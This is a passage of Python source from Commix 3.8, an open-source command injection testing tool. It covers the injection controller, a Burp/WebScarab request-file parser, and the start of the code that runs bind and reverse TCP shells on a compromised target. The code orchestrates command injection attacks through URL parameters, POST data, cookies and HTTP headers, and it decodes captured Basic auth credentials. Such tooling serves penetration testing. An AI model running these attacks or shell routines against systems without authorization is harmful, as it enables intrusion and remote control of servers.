for warning in settings.CODE_INJECTION_WARNINGS:
if warning in html_data:
settings.IDENTIFIED_WARNINGS = True
break
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
info_msg = "Heuristic (basic) tests shows that "
info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "."
print(settings.print_bold_info_msg(info_msg))
break
settings.EVAL_BASED_STATE = False
return url
except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if it's exploitable via classic command injection technique.
def classic_command_injection_technique(url, timesec, filename, http_request_method):
injection_type = "results-based OS command injection"
technique = "classic command injection technique"
settings.CLASSIC_STATE = None
if not settings.SKIP_COMMAND_INJECTIONS:
if (len(menu.options.tech) == 0 or "c" in menu.options.tech):
if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False:
settings.CLASSIC_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True
checks.skip_command_injection_tests()
else:
settings.CLASSIC_STATE = False
if settings.CLASSIC_STATE == None:
checks.skipping_technique(technique, injection_type, settings.CLASSIC_STATE)
# Check if it's exploitable via dynamic code evaluation technique.
def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method):
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
settings.EVAL_BASED_STATE = None
if not settings.SKIP_CODE_INJECTIONS:
if (len(menu.options.tech) == 0 or "e" in menu.options.tech) or settings.SKIP_COMMAND_INJECTIONS:
if eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False:
settings.EVAL_BASED_STATE = True
if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
checks.skip_command_injection_tests()
else:
settings.EVAL_BASED_STATE = False
if settings.EVAL_BASED_STATE == None:
checks.skipping_technique(technique, injection_type, settings.EVAL_BASED_STATE)
# Check if it's exploitable via time-based command injection technique.
def timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response):
injection_type = "blind OS command injection"
technique = "time-based command injection technique"
settings.TIME_BASED_STATE = None
if not settings.SKIP_COMMAND_INJECTIONS:
if (len(menu.options.tech) == 0 or "t" in menu.options.tech):
if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False:
settings.TIME_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True
checks.skip_command_injection_tests()
else:
settings.TIME_BASED_STATE = False
if settings.TIME_BASED_STATE == None:
checks.skipping_technique(technique, injection_type, settings.TIME_BASED_STATE)
# Check if it's exploitable via file-based command injection technique.
def filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response):
injection_type = "semi-blind command injection"
technique = "file-based command injection technique"
settings.FILE_BASED_STATE = None
if not settings.SKIP_COMMAND_INJECTIONS:
if (len(menu.options.tech) == 0 or "f" in menu.options.tech):
if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False:
settings.FILE_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True
else:
settings.FILE_BASED_STATE = False
if settings.FILE_BASED_STATE == None:
checks.skipping_technique(technique, injection_type, settings.FILE_BASED_STATE)
"""
Proceed to the injection process for the appropriate parameter.
"""
def injection_proccess(url, check_parameter, http_request_method, filename, timesec):
if settings.PERFORM_BASIC_SCANS:
basic_level_checks()
inject_http_headers = False
if (http_request_method == settings.HTTPMETHOD.GET and check_parameter.lower() not in url) or \
(http_request_method == settings.HTTPMETHOD.POST and menu.options.data and check_parameter.lower() not in menu.options.data):
if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \
any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME):
inject_http_headers = True
if menu.options.ignore_code:
info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. "
print(settings.print_info_msg(info_msg))
# User-Agent HTTP header / Referer HTTP header /
# Host HTTP header / Custom HTTP header Injection(s)
if check_parameter.startswith(settings.SINGLE_WHITESPACE):
header_name = ""
the_type = "HTTP header"
check_parameter = " '" + check_parameter.strip() + "'"
else:
if settings.COOKIE_INJECTION:
header_name = "Cookie"
else:
header_name = ""
the_type = " parameter"
check_parameter = " '" + check_parameter + "'"
# Estimating the response time (in seconds)
timesec, url_time_response = requests.estimate_response_time(url, timesec)
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
checks.tamper_scripts(stored_tamper_scripts=False)
settings.CHECKING_PARAMETER = ""
if not header_name == "Cookie" and not the_type == "HTTP header":
settings.CHECKING_PARAMETER = str(http_request_method)
settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
if header_name == "Cookie" :
settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter)
else:
settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(check_parameter)
info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests."
print(settings.print_info_msg(info_msg))
if menu.options.skip_heuristics:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "."
print(settings.print_debug_msg(debug_msg))
else:
if not settings.LOAD_SESSION:
checks.recognise_payload(payload=settings.TESTABLE_VALUE)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "."
print(settings.print_debug_msg(debug_msg))
if not (len(menu.options.tech) == 1 and "e" in menu.options.tech):
url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech:
# Check for identified warnings
url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
checks.skip_command_injection_tests()
if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
warn_msg = "Heuristic (basic) tests shows that "
warn_msg += settings.CHECKING_PARAMETER + " might not be injectable."
print(settings.print_bold_warning_msg(warn_msg))
if menu.options.failed_tries and \
menu.options.tech and not "f" in menu.options.tech and not \
menu.options.failed_tries:
warn_msg = "Due to the provided (unsuitable) injection technique"
warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", "
warn_msg += "the option '--failed-tries' will be ignored."
print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL)
# Procced with file-based semiblind command injection technique,
# once the user provides the path of web server's root directory.
if menu.options.web_root and \
menu.options.tech and not "f" in menu.options.tech:
if not menu.options.web_root.endswith("/"):
menu.options.web_root = menu.options.web_root + "/"
if checks.procced_with_file_based_technique():
menu.options.tech = "f"
if settings.SKIP_COMMAND_INJECTIONS:
dynamic_code_evaluation_technique(url, timesec, filename, http_request_method)
else:
classic_command_injection_technique(url, timesec, filename, http_request_method)
if not settings.IDENTIFIED_COMMAND_INJECTION:
dynamic_code_evaluation_technique(url, timesec, filename, http_request_method)
timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response)
filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response)
# All injection techniques seems to be failed!
if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False :
warn_msg = "The tested"
if header_name != " cookie" and the_type != " HTTP header":
warn_msg += " " + str(http_request_method) + ""
warn_msg += str(the_type) + str(header_name) + str(check_parameter)
warn_msg += " does not seem to be injectable."
print(settings.print_bold_warning_msg(warn_msg))
"""
Inject HTTP headers (User-agent / Referer / Host) (if level > 2).
"""
def http_headers_injection(url, http_request_method, filename, timesec):
# Disable Cookie Injection
settings.COOKIE_INJECTION = None
def user_agent_injection(url, http_request_method, filename, timesec):
user_agent = menu.options.agent
if not menu.options.shellshock:
menu.options.agent = menu.options.agent + settings.INJECT_TAG
settings.USER_AGENT_INJECTION = True
if settings.USER_AGENT_INJECTION:
check_parameter = header_name = " User-Agent"
settings.HTTP_HEADER = header_name[1:].replace("-","").lower()
check_for_stored_sessions(url, http_request_method)
if not injection_proccess(url, check_parameter, http_request_method, filename, timesec):
settings.USER_AGENT_INJECTION = None
menu.options.agent = user_agent
def referer_injection(url, http_request_method, filename, timesec):
referer = menu.options.referer
if not menu.options.shellshock:
if menu.options.referer is None:
menu.options.referer = ""
menu.options.referer = menu.options.referer + settings.INJECT_TAG
settings.REFERER_INJECTION = True
if settings.REFERER_INJECTION:
check_parameter = header_name = " Referer"
settings.HTTP_HEADER = header_name[1:].lower()
check_for_stored_sessions(url, http_request_method)
if not injection_proccess(url, check_parameter, http_request_method, filename, timesec):
settings.REFERER_INJECTION = False
menu.options.agent = referer
def host_injection(url, http_request_method, filename, timesec):
host = menu.options.host
if menu.options.host is None:
menu.options.host = ""
menu.options.host = menu.options.host + settings.INJECT_TAG
settings.HOST_INJECTION = True
if settings.HOST_INJECTION:
check_parameter = header_name = " Host"
settings.HTTP_HEADER = header_name[1:].lower()
check_for_stored_sessions(url, http_request_method)
if not injection_proccess(url, check_parameter, http_request_method, filename, timesec):
settings.HOST_INJECTION = False
menu.options.host = host
# User-Agent HTTP header injection
if menu.options.skip_parameter == None:
if menu.options.test_parameter == None or "user-agent" in menu.options.test_parameter.lower():
user_agent_injection(url, http_request_method, filename, timesec)
else:
if "user-agent" not in menu.options.skip_parameter.lower():
user_agent_injection(url, http_request_method, filename, timesec)
# Referer HTTP header injection
if menu.options.skip_parameter == None:
if menu.options.test_parameter == None or "referer" in menu.options.test_parameter.lower():
referer_injection(url, http_request_method, filename, timesec)
else:
if "referer" not in menu.options.skip_parameter.lower():
referer_injection(url, http_request_method, filename, timesec)
# Host HTTP header injection
if menu.options.skip_parameter == None:
if menu.options.test_parameter == None or "host" in menu.options.test_parameter.lower():
host_injection(url, http_request_method, filename, timesec)
else:
if "host" not in menu.options.skip_parameter.lower():
host_injection(url, http_request_method, filename, timesec)
"""
Check for stored injections on User-agent / Referer headers (if level > 2).
"""
def stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec):
for check_parameter in settings.HTTP_HEADERS:
settings.HTTP_HEADER = check_parameter
if check_for_stored_sessions(url, http_request_method):
if check_parameter == "referer":
menu.options.referer = settings.INJECT_TAG
settings.REFERER_INJECTION = True
elif check_parameter == "host":
menu.options.host= settings.INJECT_TAG
settings.HOST_INJECTION = True
else:
menu.options.agent = settings.INJECT_TAG
settings.USER_AGENT_INJECTION = True
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
if not settings.LOAD_SESSION:
http_headers_injection(url, http_request_method, filename, timesec)
"""
Cookie injection
"""
def cookie_injection(url, http_request_method, filename, timesec):
settings.COOKIE_INJECTION = True
# Cookie Injection
if settings.COOKIE_INJECTION == True:
cookie_value = menu.options.cookie
header_name = " cookie"
settings.HTTP_HEADER = header_name[1:].lower()
cookie_parameters = parameters.do_cookie_check(menu.options.cookie)
if type(cookie_parameters) is str:
cookie_parameters_list = []
cookie_parameters_list.append(cookie_parameters)
cookie_parameters = cookie_parameters_list
# Remove whitespaces
cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters]
check_parameters = []
for i in range(0, len(cookie_parameters)):
menu.options.cookie = cookie_parameters[i]
check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
check_parameters.append(check_parameter)
checks.print_non_listed_params(check_parameters, http_request_method, header_name)
for i in range(0, len(cookie_parameters)):
parameter = menu.options.cookie = cookie_parameters[i]
check_parameter = parameters.specify_cookie_parameter(parameter)
if check_parameter != parameter:
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if menu.options.test_parameter != None:
param_counter = 0
for check_parameter in check_parameters:
if check_parameter in "".join(settings.TEST_PARAMETER).split(","):
menu.options.cookie = cookie_parameters[param_counter]
check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
# Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
param_counter += 1
break
else:
# Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
if settings.COOKIE_INJECTION == True:
# Restore cookie value
menu.options.cookie = cookie_value
# Disable cookie injection
settings.COOKIE_INJECTION = False
"""
Check if HTTP Method is GET.
"""
def get_request(url, http_request_method, filename, timesec):
found_url = parameters.do_GET_check(url, http_request_method)
if found_url != False:
check_parameters = []
for i in range(0, len(found_url)):
url = found_url[i]
check_parameter = parameters.vuln_GET_param(url)
check_parameters.append(check_parameter)
header_name = ""
checks.print_non_listed_params(check_parameters, http_request_method, header_name)
for i in range(0, len(found_url)):
url = found_url[i]
check_parameter = parameters.vuln_GET_param(url)
if check_parameter != url and check_parameter not in settings.SKIP_PARAMETER:
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
# Check if testable parameter(s) are provided
if len(settings.TESTABLE_PARAMETER) > 0:
if menu.options.test_parameter != None:
url_counter = 0
for check_parameter in check_parameters:
if check_parameter in "".join(settings.TEST_PARAMETER).split(","):
url = found_url[url_counter]
check_parameter = parameters.vuln_GET_param(url)
# Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
url_counter += 1
break
else:
# Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
else:
# Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
"""
Check if HTTP Method is POST.
"""
def post_request(url, http_request_method, filename, timesec):
parameter = menu.options.data
found_parameter = parameters.do_POST_check(parameter, http_request_method)
# Check if singe entry parameter
if type(found_parameter) is str:
found_parameter_list = []
found_parameter_list.append(found_parameter)
found_parameter = found_parameter_list
if settings.IS_XML:
# Remove junk data
found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x]
else:
# Remove whitespaces
found_parameter = [x.replace(settings.SINGLE_WHITESPACE, "") for x in found_parameter]
# Check if multiple parameters
check_parameters = []
for i in range(0, len(found_parameter)):
parameter = menu.options.data = found_parameter[i]
check_parameter = parameters.vuln_POST_param(parameter, url)
check_parameters.append(check_parameter)
header_name = ""
checks.print_non_listed_params(check_parameters, http_request_method, header_name)
for i in range(0, len(found_parameter)):
#if settings.INJECT_TAG in found_parameter[i]:
parameter = menu.options.data = found_parameter[i]
check_parameter = parameters.vuln_POST_param(parameter, url)
if check_parameter != parameter and check_parameter not in settings.SKIP_PARAMETER:
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
# Check if testable parameter(s) are provided
if len(settings.TESTABLE_PARAMETER) > 0:
if menu.options.test_parameter != None:
param_counter = 0
for check_parameter in check_parameters:
if check_parameter in "".join(settings.TEST_PARAMETER).split(","):
menu.options.data = found_parameter[param_counter]
check_parameter = parameters.vuln_POST_param(menu.options.data, url)
# Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
param_counter += 1
break
else:
# Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
else:
# Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
"""
Perform checks
"""
def perform_checks(url, http_request_method, filename):
# Initiate whitespaces
if settings.MULTI_TARGETS or settings.STDIN_PARSING and len(settings.WHITESPACES) > 1:
settings.WHITESPACES = ["%20"]
timesec = settings.TIMESEC
# Check if authentication is needed.
if menu.options.auth_url and menu.options.auth_data:
# Do the authentication process.
authentication.authentication_process()
try:
# Check if authentication page is the same with the next (injection) URL
if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read():
err_msg = "It seems that the authentication procedure has failed."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif menu.options.auth_url or menu.options.auth_data:
err_msg = "You must specify both login panel URL and login parameters."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
pass
if menu.options.shellshock:
menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
else:
if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and settings.WILDCARD_CHAR_APPLIED != True:
menu.options.level = settings.USER_SUPPLIED_LEVEL
check_for_stored_levels(url, http_request_method)
# Custom header Injection
if settings.CUSTOM_HEADER_INJECTION == True:
check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME
settings.HTTP_HEADER = header_name[1:].lower()
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
settings.CUSTOM_HEADER_INJECTION = None
# Check if defined POST data
if not settings.COOKIE_INJECTION:
if settings.USER_DEFINED_POST_DATA:
post_request(url, http_request_method, filename, timesec)
else:
get_request(url, http_request_method, filename, timesec)
_ = menu.options.level
if _ >= settings.COOKIE_INJECTION_LEVEL:
menu.options.level = settings.COOKIE_INJECTION_LEVEL
# Enable Cookie Injection
if menu.options.cookie:
cookie_injection(url, http_request_method, filename, timesec)
else:
warn_msg = "The HTTP Cookie header is not provided, "
warn_msg += "so this test is going to be skipped."
print(settings.print_warning_msg(warn_msg))
if _ == settings.HTTP_HEADER_INJECTION_LEVEL:
menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
if settings.INJECTED_HTTP_HEADER == False :
check_parameter = ""
# Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2).
stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec)
else:
http_headers_injection(url, http_request_method, filename, timesec)
if settings.INJECTION_CHECKER == False:
return False
else:
return True
"""
General check on every injection technique.
"""
def do_check(url, http_request_method, filename):
try:
if settings.RECHECK_FILE_FOR_EXTRACTION:
settings.RECHECK_FILE_FOR_EXTRACTION = False
# Check for '--tor' option.
if menu.options.tor:
if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech:
warn_msg = "It is highly recommended to avoid usage of switch '--tor' for "
warn_msg += "time-based injections because of inherent high latency time."
print(settings.print_warning_msg(warn_msg))
# Check for "backticks" tamper script.
if settings.USE_BACKTICKS == True:
if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech:
warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. "
print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL)
# Check for "wizard" switch.
if menu.options.wizard:
if perform_checks(url, http_request_method, filename) == False:
scan_level = menu.options.level
while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True:
while True:
message = "Do you want to increase to '--level=" + str(scan_level + 1)
message += "' in order to perform more tests? [Y/n] > "
next_level = common.read_input(message, default="Y", check_batch=True)
if next_level in settings.CHOICE_YES:
menu.options.level = int(menu.options.level + scan_level)
if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL :
scan_level = scan_level + 1
else:
break
elif next_level in settings.CHOICE_NO:
break
elif next_level in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(next_level)
pass
else:
perform_checks(url, http_request_method, filename)
# All injection techniques seems to be failed!
if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False :
if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS:
err_msg = "All tested parameters "
if menu.options.level > settings.COOKIE_INJECTION_LEVEL:
err_msg += "and HTTP headers "
err_msg += "appear to be not injectable."
if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL :
err_msg += " Try to increase value for '--level' option"
if menu.options.skip_empty:
err_msg += " and/or remove option '--skip-empty'"
err_msg += " if you wish to perform more tests."
if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES:
err_msg += " Rerun without providing the option "
if not settings.SKIP_TECHNIQUES :
err_msg += "'--technique'."
else:
err_msg += "'--skip-technique'."
err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to"
if not menu.options.alter_shell :
err_msg += " use option '--alter-shell'"
else:
err_msg += " remove option '--alter-shell'"
if not menu.options.tamper:
err_msg += " and/or use option '--tamper'"
if not menu.options.random_agent:
if not menu.options.tamper:
err_msg += " and/or"
err_msg += " switch '--random-agent'"
err_msg += "."
if settings.MULTI_TARGETS:
err_msg += " Skipping to the next target."
print(settings.print_error_msg(err_msg))
else:
logs.print_logs_notification(filename, url)
# if not settings.MULTI_TARGETS:
# print(settings.SINGLE_WHITESPACE)
if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS:
common.show_http_error_codes()
raise SystemExit()
except KeyboardInterrupt:
checks.user_aborted(filename, url)
# eof commix-3.8/src/core/injections/controller/parser.py 0000775 0000000 0000000 00000017267 14466364451 0022632 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import re
import sys
import time
import base64
import datetime
from src.utils import menu
from src.utils import settings
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Parse target and data from http proxy logs (i.e Burp or WebScarab)
"""
def logfile_parser():
"""
Warning message for mutiple request in same log file.
"""
def multi_requests():
print(settings.SINGLE_WHITESPACE)
err_msg = "Multiple"
if menu.options.requestfile:
err_msg += " requests"
elif menu.options.logfile:
err_msg += " targets"
err_msg += " are not supported, thus all coming"
if menu.options.requestfile:
err_msg += " requests "
elif menu.options.logfile:
err_msg += " targets "
err_msg += "will be ignored."
sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
sys.stdout.flush()
return False
"""
Error message for invalid data.
"""
def invalid_data(request):
print(settings.SINGLE_WHITESPACE)
err_msg = "Specified file "
err_msg += "'" + os.path.split(request_file)[1] + "'"
err_msg += " does not contain a valid HTTP request."
sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
if menu.options.requestfile:
info_msg = "Parsing HTTP request "
request_file = menu.options.requestfile
elif menu.options.logfile:
info_msg = "Parsing target "
request_file = menu.options.logfile
if not os.path.exists(request_file):
print(settings.SINGLE_WHITESPACE)
err_msg = "It seems that the '" + request_file + "' file, does not exist."
sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
else:
try:
if menu.options.requestfile:
with open(request_file, 'r') as file:
settings.RAW_HTTP_HEADERS = [line.strip() for line in file]
settings.RAW_HTTP_HEADERS = [header for header in settings.RAW_HTTP_HEADERS if header]
settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:]
settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[:-1]
settings.RAW_HTTP_HEADERS = '\\n'.join(settings.RAW_HTTP_HEADERS)
if os.stat(request_file).st_size != 0:
with open(request_file, 'r') as file:
request = file.read()
else:
invalid_data(request_file)
except IOError as err_msg:
error_msg = "The '" + request_file + "' "
error_msg += str(err_msg.args[1]).lower() + "."
print(settings.SINGLE_WHITESPACE)
print(settings.print_critical_msg(error_msg))
raise SystemExit()
single_request = True
pattern = r'HTTP/([\d.]+)'
if len(re.findall(pattern, request)) > 1:
single_request = multi_requests()
if len(settings.HTTP_METHOD) == 0:
http_method = request.strip().splitlines()[0].split()[0]
settings.HTTP_METHOD = http_method
else:
http_method = settings.HTTP_METHOD
if "\\n" in request:
request = request.replace("\\n","\n")
request_url = re.findall(r"" + " (.*) HTTP/", request)
if request_url:
try:
# Check empty line for POST data.
if len(request.splitlines()[-2]) == 0:
result = [item for item in request.splitlines() if item]
multiple_xml = []
for item in result:
if checks.is_XML_check(item):
multiple_xml.append(item)
if len(multiple_xml) != 0:
menu.options.data = '\n'.join([str(item) for item in multiple_xml])
else:
menu.options.data = result[len(result)-1]
else:
# Check if url ends with "=".
if request_url[0].endswith("="):
request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1)
except IndexError:
invalid_data(request_file)
# Check if invalid data
else:
invalid_data(request_file)
request_url = "".join([str(i) for i in request_url])
# Check for other headers
extra_headers = ""
scheme = "http://"
for line in request.splitlines():
if re.findall(r"Host: " + "(.*)", line):
menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)])
# User-Agent Header
if re.findall(r"User-Agent: " + "(.*)", line):
menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)])
# Cookie Header
if re.findall(r"Cookie: " + "(.*)", line):
menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + "(.*)", line)])
# Referer Header
if re.findall(r"Referer: " + "(.*)", line):
menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)])
if menu.options.referer and "https://" in menu.options.referer:
scheme = "https://"
if re.findall(r"Authorization: " + "(.*)", line):
auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split()
menu.options.auth_type = auth_provided[0].lower()
if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC:
menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode()
elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST:
if not menu.options.auth_cred:
print(settings.SINGLE_WHITESPACE)
err_msg = "Use the '--auth-cred' option to provide a valid pair of "
err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") "
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Add extra headers
else:
match = re.findall(r"(.*): (.*)", line)
match = "".join([str(i) for i in match]).replace("', '",":")
match = match.replace("('","")
match = match.replace("')","\\n")
# Ignore some header.
if "Content-Length" or "Accept-Encoding" in match:
extra_headers = extra_headers
else:
extra_headers = extra_headers + match
# Extra headers
menu.options.headers = extra_headers
# Target URL
if not menu.options.host:
invalid_data(request_file)
else:
if len(_urllib.parse.urlparse(request_url).scheme) == 0:
request_url = scheme + request_url
if not menu.options.host in request_url:
request_url = request_url.replace(scheme, scheme + menu.options.host)
request_url = checks.check_http_s(request_url)
info_msg += "using the '" + os.path.split(request_file)[1] + "' file. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
menu.options.url = request_url
if single_request:
print(settings.SINGLE_WHITESPACE)
if menu.options.logfile and settings.VERBOSITY_LEVEL != 0:
sub_content = http_method + settings.SINGLE_WHITESPACE + menu.options.url
print(settings.print_sub_content(sub_content))
if menu.options.cookie:
sub_content = "Cookie: " + menu.options.cookie
print(settings.print_sub_content(sub_content))
if menu.options.data:
sub_content = "POST data: " + menu.options.data
print(settings.print_sub_content(sub_content))
# eof commix-3.8/src/core/injections/controller/shell_options.py 0000775 0000000 0000000 00000020412 14466364451 0024202 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import time
from src.utils import logs
from src.utils import menu
from src.utils import settings
from src.core.shells import bind_tcp
from src.core.shells import reverse_tcp
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.results_based.techniques.classic import cb_injector
from src.core.injections.results_based.techniques.eval_based import eb_injector
from src.core.injections.semiblind.techniques.file_based import fb_injector
"""
Check for established connection
"""
def check_established_connection():
while True:
time.sleep(1)
if settings.VERBOSITY_LEVEL == 1:
print(settings.SINGLE_WHITESPACE)
warn_msg = "Something went wrong with the reverse TCP connection."
warn_msg += " Please wait while checking state."
print(settings.print_warning_msg(warn_msg))
lines = os.popen('netstat -anta').read().split("\n")
for line in lines:
if settings.LHOST + ":" + settings.LPORT in line and "ESTABLISHED" in line:
pass
else:
return
"""
Execute the bind / reverse TCP shell
"""
def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE):
if settings.EVAL_BASED_STATE != False:
# Command execution results.
start = time.time()
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
end = time.time()
diff = end - start
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
else:
# Command execution results.
start = time.time()
if settings.FILE_BASED_STATE == True:
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
else:
whitespace = settings.WHITESPACES[0]
if whitespace == settings.SINGLE_WHITESPACE:
whitespace = _urllib.parse.quote(whitespace)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
end = time.time()
diff = end - start
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
if settings.REVERSE_TCP and (int(diff) > 0 and int(diff) < 6):
check_established_connection()
else:
if settings.VERBOSITY_LEVEL == 1:
print(settings.SINGLE_WHITESPACE)
err_msg = "The " + os_shell_option.split("_")[0] + " "
